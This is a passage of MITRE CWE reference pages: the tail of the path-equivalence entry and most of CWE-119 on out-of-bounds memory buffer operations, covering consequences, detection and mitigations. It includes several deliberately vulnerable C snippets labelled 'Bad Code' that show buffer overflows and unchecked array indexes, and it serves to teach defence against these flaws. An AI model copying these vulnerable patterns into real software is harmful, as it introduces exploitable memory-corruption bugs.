Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant42Path Equivalence: 'filename.' (Trailing Dot)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant44Path Equivalence: 'file.name' (Internal Dot)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant46Path Equivalence: 'filename ' (Trailing Space)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant47Path Equivalence: ' filename' (Leading Space)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant48Path Equivalence: 'file name' (Internal Whitespace)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant49Path Equivalence: 'filename/' (Trailing Slash)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant50Path Equivalence: '//multiple/leading/slash'
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant51Path Equivalence: '/multiple//internal/slash'
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant52Path Equivalence: '/multiple/trailing/slash//'
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant53Path Equivalence: '\multiple\\internal\backslash'
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant54Path Equivalence: 'filedir\' (Trailing Backslash)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant55Path Equivalence: '/./' (Single Dot Directory)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant56Path Equivalence: 'filedir*' (Wildcard)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant57Path Equivalence: 'fakedir/../realdir/filename'
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant58Path Equivalence: Windows 8.3 Filename
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class20Improper Input Validation
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class172Encoding Error
Research Concepts1000
+ Relationship Notes

Some of these manipulations could be effective in path traversal issues, too.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Equivalence
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Name
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations, Relationship_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Equivalence
2009-05-27Failure to Resolve Path Equivalence

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119
Abstraction: Class
Status: Usable
Presentation Filter:
+ Description

Description Summary

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

+ Alternate Terms
Memory Corruption:

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Assembly

Languages without memory management support

Platform Notes

It is possible in many programming languages to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands; Modify memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability
Confidentiality

Technical Impact: Read memory; DoS: crash / exit / restart; DoS: resource consumption (CPU); DoS: resource consumption (memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality

Technical Impact: Read memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode Quality Analysis

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

  • Source Code Quality Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(Bad Code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(Bad Code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){
/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3

The following example asks a user for an offset into an array to select an item.

(Bad Code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(Bad Code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum
// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message
// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(Good Code)
Example Language:

...

// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {

...
+ Observed Examples
ReferenceDescription
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
negative offset value leads to out-of-bounds read
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: lack of synchronization leads to memory corruption
attacker-controlled array index leads to code execution
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
product accepts crafted messages that lead to a dereference of an arbitrary pointer
chain: malformed input causes dereference of uninitialized memory
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)Named Chain(s) this relationship pertains toChain(s)
ChildOfCategoryCategory19Data Processing Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class118Incorrect Access of Indexable Resource ('Range Error')
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory740CERT C Secure Coding Section 06 - Arrays (ARR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOf